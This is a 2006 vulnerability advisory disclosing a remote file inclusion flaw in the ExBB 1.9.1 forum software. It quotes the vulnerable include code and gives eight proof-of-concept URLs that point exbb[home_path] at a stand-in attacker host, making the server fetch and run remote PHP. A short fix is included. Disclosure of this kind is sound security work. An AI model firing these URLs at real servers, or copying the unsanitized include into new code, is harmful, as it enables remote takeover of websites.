ECHO.OR.ID

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[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion

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Author		: Ahmad Maulana a.k.a Matdhule

Date Found	: August, 30th 2006

Location	: Indonesia, Jakarta

web		: http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt

Critical Lvl	: Highly critical

Impact		: System access

Where		: From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ExBB 1.9.1

Application	: ExBB

version		: 1.9.1

URL		: http://www.exbb.net

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Vulnerability:

~~~~~~~~~~~~~~

In folder birstday we found vulnerability script birst.php

---------------------------birst.php------------------------------------
---

....

<?

$birstdayconf = array();

include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php');

include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'
/lang.php');

...

----------------------------------------------------------

Input passed to the "exbb['home_path']" parameter in birst.php is not

properly verified before being used. This can be exploited to execute

arbitrary PHP code by including files from local or external

resources.

Also affected files :

./select.php

./profile_show.php

../newusergreatings/pm_newreg.php

../punish/p_error.php

../punish/profile.php

../threadstop/threadstop.php

../userstop/userstop.php

Proof Of Concept:

~~~~~~~~~~~~~~~

http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path
]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[hom
e_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exb
b[home_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]
=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[hom
e_path]=http://attacker.com/inject.txt?

http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_pa
th]=http://attacker.com/inject.txt?

Solution:

~~~~~~~

- Sanitize variable $exbb['home_path'] on affected files.

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Shoutz:

~~~

~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous

~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke

~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed]

~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net

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Contact:

~~~~

matdhule[at]gmail[dot]com

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